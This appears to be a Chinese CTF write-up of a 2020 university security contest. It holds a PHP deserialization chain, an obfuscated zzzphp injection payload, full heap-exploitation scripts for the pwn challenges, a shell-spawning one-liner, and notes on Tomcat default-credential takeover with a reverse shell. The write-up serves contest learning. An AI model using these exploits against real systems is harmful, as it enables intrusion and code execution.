writeup
全国大学生信息安全竞赛初赛writeup
2020-08-24 10:25

WEB

Babyunserialize

扫目录发现了 www.zip

下载下来发现似曾相识

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之前wmctf2020的webweb出了f3的反序列化题

直接用exp打

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System被ban了 打phpinfo看看

<?php 

namespace DB{ 

    abstract class Cursor  implements \IteratorAggregate {} 

  

  

namespace DB\SQL{ 

    class Mapper extends \DB\Cursor{ 

        protected 

            $props=["quotekey"=>"call_user_func"], 

            $adhoc=["phpinfo"=>["expr"=>""]], 

            $db; 

        function offsetExists($offset){} 

        function offsetGet($offset){} 

        function offsetSet($offset, $value){} 

        function offsetUnset($offset){} 

        function getIterator(){} 

        function __construct($val){ 

            $this->db = $val; 

        } 

    } 

namespace CLI{ 

    class Agent { 

        protected 

            $server=""; 

        public $events; 

        public function __construct(){ 

            $this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")]; 

            $this->server=&$this; 

  

  

        } 

    }; 

    class WS{} 

namespace { 

    echo urlencode(serialize(array(new \CLI\WS(),new \CLI\Agent()))); 

}

3.png

发现被ban了很多函数

试了几个函数都没成功,然后翻phpinfo的时候翻到了一个flag

4.png

在环境变量里面。

flag值:flag{b26444a0-b80f-4bb8-a49a-952b5e7382b8}

Easyphp

5.png

首先尝试了各种执行命令的方法无果,返回看题目 是要fork出来的进程异常退出。

6.png

查了一下这个函数,发现要pid变为1的时候就会执行phpinfo。

7.png

这里看到父进程要退出,子进程变成孤儿进程时pid会变为1,也就是要子进程暂停住,使用 pcntl_wait 就可以挂起子进程,让pid变成1.

Payload: ?a=call_user_func&b=pcntl_wait

8.png

环境变量中有flag

flag值 flag{4c9c8d9d-1741-4967-ba54-9e200d0c3cd5}

Littlegame

9.png

打开题目下载源码可以直接看到获取flag的条件是

Admin[key] === password

看一下Admin里的内容

0.png

Admin里的三个password都不知道是什么。但是想到原型链污染,可以给Admin加上一个属性并赋值。

11.png

在这个路由下面有一个赋值的操作。setFn

12.png

查一下set-value是否有原型链污染的漏洞

13.png

根据poc来构造

14.png

设置一个test属性 值为123

15.png

再给key和password赋值即可获取flag。

flag值 :flag{02599a00-3e98-40a7-a0c8-e806086c45f0}

Rceme

16.png

看到命令执行的地方发现是zzzphp1.6.1的漏洞,但是题目改了过滤的函数

17.png

构造payload

{if:1)(hex2bin(dechex(112)).hex2bin(dechex(104)).hex2bin(dechex(112)).hex2bin(dechex(105)).hex2bin(dechex(110)).hex2bin(dechex(102)).hex2bin(dechex(111)))();die();//}{end%20if}

18.png

Flag还是在phpinfo里面。

flag值 :flag{438e2428-1314-43bd-b212-e3cfcda3584d}

Easytrick

19.png

可以用 INF 来绕过 原理如下

20.png

<?php 

class trick{ 

    public $trick1; 

    public $trick2; 


    public function __construct(){ 

        $this->trick1=INF; 

        $this->trick2=INF; 

    } 

echo urlencode(serialize(new trick()));

21.png

flag值:flag{28a9fcfd-b322-40a8-a532-72c1062e0716}

MISC

签到

22.png

flag值 :flag{同舟共济扬帆起,乘风破浪万里航。}

the_best_ctf_game

Hxd打开,发现右边flag字符串,照着这个一个一个打出来

23.png

flag为:flag{65e02f26-0d6e-463f-bc63-2df733e47fbe}

电脑被黑

file看了下,是ext3文件,用ext3grep还原

24.png

直接 ext3grep --restore-all disk_dump 回复全部文件

25.png

26.png

看到一个flag.txt打开发现加密了,然后demo又是个elf程序,直接ida看下

27.png

找到了加密函数,对着加密函数写解密脚本,脚本如下

运行获得flag

28.png

flag为:flag{e5d7c4ed-b8f6-4417-8317-b809fc26c047}

file=open('flag.txt','rb') 

f=file.read() 

v4=34 

v5=0 

flag="" 

for i in f: 

flag=flag+chr((ord(i)^v4)-v5) 

v4=(v4+34)&0xff 

v5=(v5+2)&0xf 

#print flag,v4,v5 

print flag

WamaCry1

题目说是勒索病毒,然后给了个exe和加密后的flag,由于是勒索病毒,一般会用到rsa加密,而题目也说了公私钥,所以猜测exe获取到公私钥然后对flag进行rsa加密,就用ida看了下exe,大致是把ui布局好,然后里面调用了第一个son.exe,没有看到什么加密过程,那加密应该放在了son.exe里了,然后找了半天这个son.exe,就是找不到在哪,直到exeinfo看了下.....

29.png

Enigma Virtual Box 是一个打包QT程序的软件,也就是说这个是打包后的exe,我们找到工具解包就行了,百度了一下,找到一个EnigmaVBUnpacker的解包软件,解包后终于找到了son.exe

30.png

31.png

ida打开son.exe,直接字符串就看到一个ip,然后跟进分析了一下

32.png

33.png

加密函数,看来猜的没错就是rsa加密,然后又看了下函数表,没发现其它加密,那么只要找到私钥就能解密了

34.png

大致是链接远端服务器的12345端口,看题目说明是下载公私钥,然后我就想能不能访问这个地址去下,发现无法访问12345端口,然后nmap扫了下

发现开了8080,就访问了下

35.png

是个tomcat后台弱口令 tomcat  tomcat 就进来了

36.png

常规操作上传war包拿shell 然后反弹shell

服务器的tmp目录下有个key目录,里面有两个文件

37.png

把服务器上/tmp/key下的文件都dump下来,server是个elf文件,我就ida分析了下

38.png

大致就是,监听本地12345端口看有socket连接没,有就跟此连接交互,根据题目,木马程序会把宿主的计算机信息传上远端服务器,然后远端服务器根据传来的信息在/tmp/key/目录下创建以计算机名为名的文件,然后再接受宿主机传来的私钥(看了下原先在服务器上的文件,发现是一个rsa私钥),然后第一个字符异或1(被坑了,没仔细看是buf,以为是整个传过来的字符串,BEGIN RSA PRIVATE KEY不需要异或)保存到创建的文件里(服务器上私钥的来源)

39.png

做到这就可以写解密脚本了

私钥还原脚本(不加BEGIN RSA PRIVATE KEY头,还原完再手动加上)

fin=open("xorkey","rb") #服务器上的私钥去除BEGIN RSA PRIVATE KEY头 

fout=open("prive_key1","wb") 

y=fin.read().split("\n\x00") 

print y 

for i in y[:-1]: 

b=ord(i[0])^0x1 

fout.write(chr(b)+i[1:]) 

fout.write("\x0D\x0A")

解密脚本

from Crypto.PublicKey import RSA 

import string 

#prive.pem为前面异或后生成的文件加上BEGIN RSA PRIVATE KEY头后生成的文件 

with open("prive.pem") as f: 

key = f.read() 

rsakey = RSA.importKey(key) 

#flag.5就是题目给的flag.555555555555584648686 

with open('flag.5','rb') as f: 

cipher = f.read().encode('hex') 

cipher = string.atoi(cipher,base=16) 

print cipher 

m=pow(cipher,rsakey.d,rsakey.n) 

print hex(m) 

m1="666c61677b32376263333539392d656339662d346263302d623030372d6266626366633664396661627d" 

print m1.decode('hex')

一开始解出来decode( ‘ hex ’ )不了,以为还有其他加密,然后就在输出的16进制里看到了666c6167这明显flag的字符串,就把后面的单独decode( ‘ hex ’ )了

40.png

flag为:flag{27bc3599-ec9f-4bc0-b007-bfbcfc6d9fab}

RE

Z3

ida打开,题目要求我们输入flag,然后把我们的flag进行一些操做再与Dst比较,反过来求flag就是解多元一次方程组,直接用sympy解

41.png

42.png

先用脚本把比较值dump下来

import idc 

import idautils 

def tiqu(start,end): 

a=[] 

for i in range(start,end,4): 

a.append(idc.Word(i)) 

print a 

tiqu(0x404020,0x4040c8)

43.png

然后编写解密脚本,最终脚本如下

import sympy 

c1=[] 

for i in range(46,88): 

a1='v'+str(i) 

exec(a1+'='+"sympy.Symbol(\'"+a1+"\')") 

exec("c1.append("+a1+")") 

a5=[20247L, 40182L, 36315L, 36518L, 26921L, 39185L, 16546L, 12094L, 25270L, 19330L, 18540L, 16386L, 21207L, 11759L, 10460L, 25613L, 21135L, 24891L, 18305L, 27415L, 12855L, 10899L, 24927L, 20670L, 22926L, 18006L, 23345L, 12602L, 12304L, 26622L, 19807L, 22747L, 14233L, 24736L, 10064L, 14169L, 35155L, 28962L, 33273L, 21796L, 35185L, 14877L] 

v4 = 34 * v49 + 12 * v46 + 53 * v47 + 6 * v48 + 58 * v50 + 36 * v51 + v52 

v5 = 27 * v50 + 73 * v49 + 12 * v48 + 83 * v46 + 85 * v47 + 96 * v51 + 52 * v52 

v6 = 24 * v48 + 78 * v46 + 53 * v47 + 36 * v49 + 86 * v50 + 25 * v51 + 46 * v52 

v7 = 78 * v47 + 39 * v46 + 52 * v48 + 9 * v49 + 62 * v50 + 37 * v51 + 84 * v52 

v8 = 48 * v50 + 14 * v48 + 23 * v46 + 6 * v47 + 74 * v49 + 12 * v51 + 83 * v52 

v9 = 15 * v51 + 48 * v50 + 92 * v48 + 85 * v47 + 27 * v46 + 42 * v49 + 72 * v52 

v10 = 26 * v51 + 67 * v49 + 6 * v47 + 4 * v46 + 3 * v48 + 68 * v52 

v11 = 34 * v56 + 12 * v53 + 53 * v54 + 6 * v55 + 58 * v57 + 36 * v58 + v59 

v12 = 27 * v57 + 73 * v56 + 12 * v55 + 83 * v53 + 85 * v54 + 96 * v58 + 52 * v59 

v13 = 24 * v55 + 78 * v53 + 53 * v54 + 36 * v56 + 86 * v57 + 25 * v58 + 46 * v59 

v14 = 78 * v54 + 39 * v53 + 52 * v55 + 9 * v56 + 62 * v57 + 37 * v58 + 84 * v59 

v15 = 48 * v57 + 14 * v55 + 23 * v53 + 6 * v54 + 74 * v56 + 12 * v58 + 83 * v59 

v16 = 15 * v58 + 48 * v57 + 92 * v55 + 85 * v54 + 27 * v53 + 42 * v56 + 72 * v59 

v17 = 26 * v58 + 67 * v56 + 6 * v54 + 4 * v53 + 3 * v55 + 68 * v59 

v18 = 34 * v63 + 12 * v60 + 53 * v61 + 6 * v62 + 58 * v64 + 36 * v65 + v66 

v19 = 27 * v64 + 73 * v63 + 12 * v62 + 83 * v60 + 85 * v61 + 96 * v65 + 52 * v66 

v20 = 24 * v62 + 78 * v60 + 53 * v61 + 36 * v63 + 86 * v64 + 25 * v65 + 46 * v66 

v21 = 78 * v61 + 39 * v60 + 52 * v62 + 9 * v63 + 62 * v64 + 37 * v65 + 84 * v66 

v22 = 48 * v64 + 14 * v62 + 23 * v60 + 6 * v61 + 74 * v63 + 12 * v65 + 83 * v66 

v23 = 15 * v65 + 48 * v64 + 92 * v62 + 85 * v61 + 27 * v60 + 42 * v63 + 72 * v66 

v24 = 26 * v65 + 67 * v63 + 6 * v61 + 4 * v60 + 3 * v62 + 68 * v66 

v25 = 34 * v70 + 12 * v67 + 53 * v68 + 6 * v69 + 58 * v71 + 36 * v72 + v73 

v26 = 27 * v71 + 73 * v70 + 12 * v69 + 83 * v67 + 85 * v68 + 96 * v72 + 52 * v73 

v27 = 24 * v69 + 78 * v67 + 53 * v68 + 36 * v70 + 86 * v71 + 25 * v72 + 46 * v73 

v28 = 78 * v68 + 39 * v67 + 52 * v69 + 9 * v70 + 62 * v71 + 37 * v72 + 84 * v73 

v29 = 48 * v71 + 14 * v69 + 23 * v67 + 6 * v68 + 74 * v70 + 12 * v72 + 83 * v73 

v30 = 15 * v72 + 48 * v71 + 92 * v69 + 85 * v68 + 27 * v67 + 42 * v70 + 72 * v73 

v31 = 26 * v72 + 67 * v70 + 6 * v68 + 4 * v67 + 3 * v69 + 68 * v73 

v32 = 34 * v77 + 12 * v74 + 53 * v75 + 6 * v76 + 58 * v78 + 36 * v79 + v80 

v33 = 27 * v78 + 73 * v77 + 12 * v76 + 83 * v74 + 85 * v75 + 96 * v79 + 52 * v80 

v34 = 24 * v76 + 78 * v74 + 53 * v75 + 36 * v77 + 86 * v78 + 25 * v79 + 46 * v80 

v35 = 78 * v75 + 39 * v74 + 52 * v76 + 9 * v77 + 62 * v78 + 37 * v79 + 84 * v80 

v36 = 48 * v78 + 14 * v76 + 23 * v74 + 6 * v75 + 74 * v77 + 12 * v79 + 83 * v80 

v37 = 15 * v79 + 48 * v78 + 92 * v76 + 85 * v75 + 27 * v74 + 42 * v77 + 72 * v80 

v38 = 26 * v79 + 67 * v77 + 6 * v75 + 4 * v74 + 3 * v76 + 68 * v80 

v39 = 34 * v84 + 12 * v81 + 53 * v82 + 6 * v83 + 58 * v85 + 36 * v86 + v87 

v40 = 27 * v85 + 73 * v84 + 12 * v83 + 83 * v81 + 85 * v82 + 96 * v86 + 52 * v87 

v41 = 24 * v83 + 78 * v81 + 53 * v82 + 36 * v84 + 86 * v85 + 25 * v86 + 46 * v87 

v42 = 78 * v82 + 39 * v81 + 52 * v83 + 9 * v84 + 62 * v85 + 37 * v86 + 84 * v87 

v43 = 48 * v85 + 14 * v83 + 23 * v81 + 6 * v82 + 74 * v84 + 12 * v86 + 83 * v87 

v44 = 15 * v86 + 48 * v85 + 92 * v83 + 85 * v82 + 27 * v81 + 42 * v84 + 72 * v87 

v45 = 26 * v86 + 67 * v84 + 6 * v82 + 4 * v81 + 3 * v83 + 68 * v87 

b2=[] 


for i in range(4,46): 

exec("b2.append("+'v'+str(i)+')') 

for j in range(0,len(a5)): 

b2[j]=b2[j]-a5[j] 

#print c1,b2 

f=sympy.solve(b2,c1) 

flag="" 

for i in range(46,88): 

a1='v'+str(i) 

exec("flag+=chr(f["+a1+"])") 

print flag

运行获得flag

44.png

flag为flag{7e171d43-63b9-4e18-990e-6e14c2afe648}

hyperthreading

先看字符串来定位主函数,进到主函数后发现创建了3个线程,点进去发现函数加了花指令,先把一些花指令去除后,发现了加密函数

45.png

加密函数如下,byte_40336c是我们输入的,大致意思是(byte_40336c[i]<<6) ^(byte_40336c[i]>>2)^0x23+0x23

46.png

加密后与byte_402150比较

47.png

反向解密有点麻烦就直接爆破了,解密脚本如下

a1=[221, 91, 158, 29, 32, 158, 144, 145, 144, 144, 145, 146, 222, 139, 17, 209, 30, 158, 139, 81, 17, 80, 81, 139, 158, 93, 93, 17, 139, 144, 18, 145, 80, 18, 210, 145, 146, 30, 158, 144, 210, 159] 

f="" 

for i in range(0,42): 

for j in range(0x20,0x7f): 

b=(((((j<<6)^(j>>2))&0xff)^0x23)+0x23)&0xff 

if b == a1[i]: 

f=f+chr(j) 

break 

print f

48.png

flag为:flag{a959951b-76ca-4784-add7-93583251ca92}

CRYPTO

bd

看了下代码,发现e很大,想到Wiener_attack,然后去github上下了个攻击脚本,直接脚本跑出d,然后解密

49.png

50.png

d=1485313191830359055093545745451584299495272920840463008756233 

n=86966590627372918010571457840724456774194080910694231109811773050866217415975647358784246153710824794652840306389428729923771431340699346354646708396564203957270393882105042714920060055401541794748437242707186192941546185666953574082803056612193004258064074902605834799171191314001030749992715155125694272289 

c=37625098109081701774571613785279343908814425141123915351527903477451570893536663171806089364574293449414561630485312247061686191366669404389142347972565020570877175992098033759403318443705791866939363061966538210758611679849037990315161035649389943256526167843576617469134413191950908582922902210791377220066 

m=pow(c,d,n) 

print hex(m)[2:-1].decode('hex')

51.png

flag为:flag{d3752538-90d0-c373-cfef-9247d3e16848}

lfsr

参考这篇文章: https://xz.aliyun.com/t/3682

# This file was *autogenerated* from the file 333.sage 

from sage.all_cmdline import *   # import sage library 


_sage_const_100 = Integer(100); _sage_const_2 = Integer(2); _sage_const_1 = Integer(1) 

s = '0100110011101111011111011010100111001010010100001111110110111101011110011111010010010111011100110111011001100001010010011101101000110110000011111011110000010100001001000011001011011011011001111110101111001010011011100010011110101100100101111001011100011110111101001010000000100100000111100101100100100000100110001111110011100110101000110100011001110110000110111111010111000001101110011001101111010110101000101011110111001011001111111000100100100011100100010101001100111011101111100110101011101101001001110010111011010011111001100001111111100001000001101101000001010100110011001101000101001010001001011000010111111100101111000000101000010110100110101001001100100011000111101000110011110101101111100110101010101000000001110010101001001111101001010111011110110001100101001111110111000110101011011010110101100011110010000011000110010111101010010000011101110111100011011110110001111010101011101100101101001111100100011000100101111011110001111100000110111000111111000111100000110011011011111110011111100010010110000010011100001010101011011101100011001100101100011001010010001101010011000000011110110111000000110001010010111110101011100000010100100001101011010101100110000101100010001010010111011000100001000001001110101011000010111000000010101100001010000010110110000111100011011000010111001111101110111010110000011001011101100000100000100010100100000010011010000111110010001111010000100011110000101111000110100010110101110001011101101100111000001110100100000000010011001110101110000001101100000001010111010011111000101101011001010011001101000111000010111111010101000011011001001110000011100100100010110101100001110110111001000001011111100101100011010010010110000011110100110000111011011010101110101001100110100101100101000100011001011000001011110010000011000110111011110011010001101100010010111110101101101110100111010000001101000011011010011110111101000000100011000000101001000000011010101010000100001110110000110011000111101011100100101111101111111110101000011010001101100010010100111000000010000101100100110101000001001011100011111001101001101100010100000111010101111011101111111101100000010000111110011101010100101110100101010100011110100100000111010001000100011010011100010011000001110110100110110010100100110111011001010010010100000110101110000011110010110100010101000110000111101011011010111101100111100101001101001101100111101000100101101100010111010010111100100111101101110101110011010110011111011111010000011000100010010101110001001000111111100100010100000001001010111010100010111001011011101110010110111110110100011111101110111011000111001010010110001001011011100110101111100100000101110000001011110011101110101101001011111100011001100111001011011001011011101000101100100011101000011101011010110010111111010011110111111111100001101101001101101111000100110010010100000100000100110100100110010000100101100000101010101000111110101001111111011011111101101110010100110000010110111001101110011101100001111111001110110010010011101111100111111000010011010010011100000001010011111111110001111110110110110001001001111011001101110110101100011010001111110010001011010000011110101100110010010001110010100010000000010101010010111011010101011011000010010011010110101101011100100101110001100000111110010101100010100010100010000101111000011111000111000011110001110110000011000100110010101111111111100011010000010010010111111110000000010100100101101101010111011000001010000000101011010110011101000110011011001110101101001001101100010011110001101001001000011001101100001101100000101111000001110100001100001000100000000011010011001001011110011000011011000100011011001011100111111000011011010000100000011110110011011110111000001011101101110110101000101011111110000100000111111110011111111100010101001000011010001110111111011100010111001110110001000101010001001001111111110111001101001001000110000110100000000010010100001010111101001110001011101011000100000001001001011111000100011111000011010001110001111111110111100010001110101011101011100010100000011110000100011001100000100111000111011011101000110010011010011110010010000111010001011111111010110011100111011110100111000101100100111001001010001000100011110101100100010000000000110010111101101111101011001101111000000000100000101001011110000010011110011000000100111001001110001000010011111010100001001010010100111111010111001001110110101010010100010010100101100000001010010111101101000110100111110000000111110000011110011001101010111101010111010111010000000110010001011110101110110001000110111101110101101001001100001101110001000100000110100000100000111110010110110010011111100010011111001110111011010101010001011111110000000011110001010011001101010110010101100101100110010111001100100111101000100010100010010100000010010111101100111110101101111101001010110010001111111001101010111110101111001000111101001110100000111111010000111000010101001001101100111001111111111100011010111110001101000100001010000000001101101001110001000001110010000010110001001001101010111111001001010100011011111011000011001001101000110010101000010100001001000011111001101101111011111001000010010111011010110010011010101100100000101100110110011011110000110011000000001011000111100101000011011011010010111000110101110101111100100010101010101000011000111000010001001000100110101111001001001111100110000101100010011101100001000010100010101110001111110101100101000101110000110010100101100101100101100100111111010100101010011100110100011111001000100010001101111111101011110100111001110101001101000010001011000111101110001010100101101111000110101001011101110110110110110101011010001110011111011110011010100110100111111010101111101111100110000110010111110110100110000011110110111111101111010011010000101010111100001111110110000001000001000011101001010010100100100000001101011101110011001011011110010111101111101010011010000110110101000100010110110101101010110110010011010011111111100001001000110111101001111000011001000010111100110001110110011011011100101011010101100011001111111000100000011100110011001001011000100010110000100001100011010000110110011100000111000010001011010001110010101000100010001001110001011001010000111010010101110001010100011101101110010111100010110010000011010111001101000100111011010100001010011100000100001010100010110100111000000001111100000100011100101011011101111111101101110011111010000110111101000001001110111000001000101100110100100111100100011011100010011111101010001101010100101110000110011000100001111100100001000000100011101101011011111000011110010110110101010011101000001111001011100101001001101111000011110000001010011010001110000111001101100011110011001100000111101001011000110111011001101101101100101100110100101011111111110110000111101000000100101011100111001111111011010100110010001000001101010001110010010000101111000001010100000101100000010101110100000000110011001011000011101101000000100111111010111110100011111101100001001110001100101100001010000100000110111101001101010000011100000000100000101101010010101111101100110110111000011100111001010010100101000111011001001110011111100010010010110100111101100110110111001011110010000111011111010101000010001101110011111010110011100010001111111011100110100011110110001101001110001010001110011110101111101011101100000111011011101110000110111101010001000011110011011101100011100101110100000100010110110011010101011000010010110000000100010011001110010011110010110111001111011010101111011000000111110000011011100100010011110010110000001111110111000100111010100110010111100010000110101011110011010110011001011011010010111001000000000001001010101010001100000110111101000000010100100010100101011111110011011100111101001110101010001100000100100110111110001111000011100010110001101101010011001011111101011000110110000111111101100000000001000010010010011101001000111100000010111011011001001100110000101010110001011000001011010111000111100111011010101010011100100100100010000001101001101010111110010100101000001100111110111111110000101111100110001110111010111001111110111100000111011011010111011001111010100010000111011111111000100110110001100000110101000001010010010100111011100000011111110001000010011010101001111010111100011110110110111000000111101010110001100000100001101101001101010111110001101101100101101101001000100000100110111111010011010011111010110110111101001000100010111101100011010111011111010011110000100001100101101111110010101000000101111101000001111110100000001011011111111100100110101101011100101101001011010001100010101101100000101000001110110101010100001011100010000111010011101110000000010000000000010111100111000010000000110110011011101110000001111011100011101111100011000011001000100111010101011010101110011010011011011010100011011000110111101001110011110000100010011000010000001101010010011000111000000000101100011010001000100010100100100011000101110100010001111101001010100001000000110010011101011101000000100010000011010110100111110101110001111001000000101011101010111110110100100011010000011010111111001001111101101110111110111000001010111100010001001001100000000110011100001100100111010011111011001010001101111111000010110101000011100001010110100101110111001001100000000110110101011001110000011001111100001101110100101101111100110001010011011001010110111000100010000110001111101110011100001101000100110000111000110001011011110100010101011011001001111101001110011100001110001010100011001110110101101001101010101001110011110001011101011100100001101100110110110101011101010110011100000001011010111011101000000101110111110010000000000101001110011111011001110001100010111001010010110011100001000011111101111101100111000101011100011000001100000000000010000111111010010101110101011100010100001000000100111111010111110010010111010110010100111000010111100000000100010111010010011010011001100010001000001100110100101110100110110111101010001100001010011111011100000010110110110000000100101100110100101100111001010100010001011010001010011110100110101000110001110000100111111001000110011110010111000110010001111111111101011110100111101001001101110110011111000110010111000011011111001110101101101000011010101011010111101011101111011100101001111111000101100100000011000100101001011001011110001101001100101001' 


N = _sage_const_100  

F = GF(_sage_const_2 ) 

ans=[] 

out = s 

Sn = [vector(F,N) for j in range(N+_sage_const_1 )] 

for j in range(N+_sage_const_1 ): 

    Sn[j] = list(map(int,out[j:j+N])) 

     

X = matrix(F,Sn[:N]) 

invX = (X**-_sage_const_1 ) 

Y = vector(F,Sn[-_sage_const_1 ]) 

Cn = Y * invX 

res = ''.join(str(i) for i in Cn) 

ans.append(int(res[::-_sage_const_1 ],_sage_const_2 )) 

print (ans)

flag值:flag{856137228707110492246853478448}

PWN

babyjsc

直接nc 用python2执行

__import__('os').execl('/bin/bash','-p')

flag值 flag{c4e39be1-666e-43c4-bf9c-3b44bd280275}

maj

这道题混肴事情是挺失败的,看下相关的,然后发现在整个过程都是不会影响原来的参数,所以这样混肴就是直接插进去, 不管就完事,还以为是原题,后来审了下发现是uaf+io泄露,没了

#coding:utf-8 

from pwn import * 

#context.log_level = 'debug' 

context.arch = 'amd64' 

#p = remote("121.36.209.145",9998) 

#p = process('./pwn_e') 

p = remote("101.200.53.148", 15423) 

elf = ELF('./pwn_e') 

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") 

 

sd = lambda s:p.send(s) 

sl = lambda s:p.sendline(s) 

rc = lambda s:p.recv(s) 

ru = lambda s:p.recvuntil(s) 

sda = lambda a,s:p.sendafter(a,s) 

sla = lambda a,s:p.sendlineafter(a,s) 

sa = lambda a,s:p.sendafter(a,s) 

def new(size,content): 

    sla("5. exit\n>> ",'1') 

    sla("please answer the question\n\n",str(80)) 

    sla("?\n",str(size)) 

    sda("start_the_game,yes_or_no?\n",content) 

 

def dele(idx):  

    sla(">> ",'2') 

    sla("index ?\n",str(idx)) 

 

def show(idx):  

    sla(">> ",'3') 

    sla("index ?\n",str(idx)) 

 

def edit(idx,data):  

    sla(">> ",'4') 

    sla("\n",str(idx)) 

    sda("?\n",data) 

 

one = [0x45226,0x4527a,0xf03642,0xf1207] 

 

new(0x100,'a'*0x100)#0 

new(0x68,'a'*0x100)#1 

new(0x10,'a'*0x100)#2 

dele(0) 

new(0x68,'a')#3 

new(0x68,'a')#4 

new(0x28,'a')#5 

dele(1) 

edit(0,'\x00'*0x68+p64(0x111)) 

dele(4) 

new(0x98,'a')#6 

edit(1,p16(0x25dd)) 

new(0x68,'a')#7 

new(0x68,'\x00'*0x33+p64(0xfbad3c80)+p64(0)*3+chr(0))#8 

edit(8,'\x00'*0x33+p64(0xfbad3c80)+p64(0)*3+chr(0)) 

rc(0x58) 

libc = u64(rc(8).ljust(8,'\x00'))- 0x3c56a3 

log.info("libc: "+hex(libc)) 

ru(">> ") 

sl(str(2)) 

ru("\n") 

sl(str(7)) 

edit(1,p64(libc+0x3c4b10-0x23)) 

sla(">> ",'1') 

sla("\n",str(80)) 

sla("______?",str(0x68)) 

sda("start_the_game,yes_or_no?",'a') 

sla(">> ",'1') 

sla("\n",str(80)) 

sla("______?",str(0x68)) 

sda("start_the_game,yes_or_no?",'a') 

 

#new(0x68,'a')#10 

edit(10,'\x00'*0x13+p64(libc+0xf1207)) 

sla(">> ",'1') 

sla("\n",str(80)) 

sla("______?",str(0x68)) 

 

p.interactive() 

 

[+] Opening connection to 101.200.53.148 on port 15423: Done [*] '/home/yezi/Yezi/CTF/gaoxiao_yi/pwn/lgd/attachment/pwn_e'

Arch:     amd64-64-little

RELRO:    Full RELRO

Stack:    Canary found

NX:       NX enabled

PIE:      No PIE (0x400000)

[*] '/lib/x86_64-linux-gnu/libc.so.6'

Arch:     amd64-64-little

RELRO:    Partial RELRO

Stack:    Canary found

NX:       NX enabled

PIE:      PIE enabled

[*] libc: 0x7fbc202bd000

[*] Switching to interactive mode

Congratulations,please input your token: $ icqda4593f7181003c0eea4007d93026

flag{8e63eba52ba4257efc6fe517cf2cc83a}[*] Got EOF while reading in interactive

$

flag值:flag{8e63eba52ba4257efc6fe517cf2cc83a}

easybox

我就没看看出 unsafe的box在哪里,,就看道了off by one,没用edit,没又edit

,但是直接打就完事,跟maj差不多

#!/usr/bin/env python 

# -*- coding: utf-8 -*- 

from pwn import * 

import sys 

context.log_level = 'debug' 

s       = lambda x                  :orda.send(str(x)) 

sa      = lambda x, y                 :orda.sendafter(str(x),str(y))  

sl      = lambda x                   :orda.sendline(str(x))  

sla     = lambda x, y                 :orda.sendlineafter(str(x), str(y))  

r       = lambda numb=4096          :orda.recv(numb) 

rc        = lambda                     :orda.recvall() 

ru      = lambda x, drop=True          :orda.recvuntil(x, drop) 

rr        = lambda x                    :orda.recvrepeat(x) 

irt     = lambda                    :orda.interactive() 

uu32    = lambda x   :u32(x.ljust(4, '\x00')) 

uu64    = lambda x   :u64(x.ljust(8, '\x00')) 

db        = lambda    :raw_input() 

def getbase_b64(t): 

    pid=proc.pidof(s)[0] 

    pie_pwd ='/proc/'+str(pid)+'/maps' 

    f_pie=open(pie_pwd) 

    return f_pie.read()[:12] 

if len(sys.argv) > 1: 

    s = "101.200.53.148:34521" 

    host = s.split(":")[0] 

    port = int(s.split(":")[1]) 

    orda = remote(host,port) 

else: 

    orda = process("./pwn") 

 

def add(idx,size,content): 

    sla(">>>\n",1) 

    sla("\n",idx) 

    sla("\n",size) 

    sa("\n",content) 

 

def dele(idx): 

    sla(">>>\n",2) 

    sla("\n",idx) 

 

def add_e(idx,size,content): 

    sla("\n",1) 

    sla("\n",idx) 

    sla("\n",size) 

    sa("\n",content) 

 

add(0,0x18,'a') 

add(1,0x68,'a') 

add(2,0x68,'a')# 

add(3,0x68,'a') 

add(4,0x68,'a') 

dele(2) 

dele(0) 

add(0,0x18,'a'*0x18+'\xe1') 

dele(1) 

add(1,0x28,'a') 

add(5,0x38,'a')# 

add(6,0x28,'a') 

add(7,0x30,'a') 

dele(0) 

add(0,0x18,'a'*0x18+'\xe1') 

dele(1) 

add(7,0x38,'a') 

add(8,0x58,'\x00'*0x28+p64(0x71)+p16(0x25dd)) 

add(9,0x38,'\x00'*0x28+p64(0x80)) 

add(10,0x68,'a') 

add(10,0x68,'\x00'*0x33+p64(0xfbad3c80)+p64(0)*3+chr(0)) 

r(0x58) 

libc = u64(r(8).ljust(8,'\x00'))- 0x3c56a3 

log.info("libc: "+hex(libc)) 

sla("\n",1) 

sla("\n",0) 

sla("\n",0x18) 

sa("\n",'a') 

#add(0,0x18,'a') 

add_e(1,0x68,'a') 

add(2,0x68,'a')# 

 

add(3,0x68,'a') 

add(4,0x68,'a') 

dele(2) 

dele(0) 

add(0,0x18,'a'*0x18+'\xe1') 

dele(1) 

add(1,0x98,'\x00'*0x68+p64(0x71)+p64(libc+0x3c4b10-0x23)) 

add(8,0x38,'a') 

add(9,0x68,'a') 

add(10,0x68,'\x00'*0x13+p64(libc+0xf1207)) 

#ru("\n") 

 

#sla(">>\n",'1') 

#sla("\n",0) 

#sla("\n",0x60) 

 

 

irt()

flag值 :flag{cab1b22dc48805990b26e882d78e9134}

链接一起get ctf学习技能吧

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